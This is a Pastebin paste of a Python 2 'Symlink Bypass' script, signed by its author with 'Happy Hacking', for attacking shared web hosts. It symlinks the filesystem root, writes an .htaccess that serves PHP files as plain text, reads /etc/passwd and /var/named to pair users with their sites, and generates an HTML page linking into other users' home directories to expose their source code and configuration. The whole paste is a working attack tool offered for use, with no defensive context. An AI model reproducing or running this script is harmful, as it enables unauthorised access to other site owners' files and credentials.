Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #/*Python
- import time
- import os
- import sys
- import re
- os.system("color C")
- hta = "\nFile : .htaccess // Created Successfully!\n"
- f = "All Processes Done!\nSymlink Bypassed Successfully!\n"
- print "\n"
- print "~"*60
- print "Symlink Bypass 2016 By D@rk_H1s@n"
- print " Happy Hacking"
- print "~"*60
- os.makedirs('Hasan')
- os.chdir('Hasan')
- susr=[]
- sitex=[]
- os.system("ln -s / Go_Hasan")
- h = "Options Indexes FollowSymLinks\nDirectoryIndex Hasan.phtml\nAddType txt .php\nAddHandler text/plain .php\nAddType text/plain .php\nAddHandler server-parsed .php"
- m = open(".htaccess","w+")
- m.write(h)
- m.close()
- print hta
- sf = "<html><title>Symlink Bypass 2016 D@rk_H1s@n</title><center><font color=black size=5>Symlink Bypass 2016<br><font size=4>Made By<a href='http://www.facebook.com/bd.dark.hasan'> D@rk_H1s@n</a><br>Happy Hacking</font></font><br><font color=black size=3><table>"
- o = open('/etc/passwd','r')
- o=o.read()
- o = re.findall('/home/\w+',o)
- for xusr in o:
- xusr=xusr.replace('/home/','')
- susr.append(xusr)
- print "-"*30
- xsite = os.listdir("/var/named")
- for xxsite in xsite:
- xxsite=xxsite.replace(".db","")
- sitex.append(xxsite)
- print f
- path=os.getcwd()
- if "/public_html/" in path:
- path="/public_html/"
- else:
- path = "/html/"
- counter=1
- ips=open("Hasan.phtml","w")
- ips.write(sf)
- for fusr in susr:
- for fsite in sitex:
- fu=fusr[0:5]
- s=fsite[0:5]
- if fu==s:
- ips.write("<tr><td style=font-family:calibri;font-weight:bold;color:black;>%s</td><td style=font-family:calibri;font-weight:bold;color:green;>%s</td><td style=font-family:calibri;font-weight:bold;color:green;><a href=Go_Hasan/home/%s%s target=_blank >%s</a></td>"%(counter,fusr,fusr,path,fsite))
- counter=counter+1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement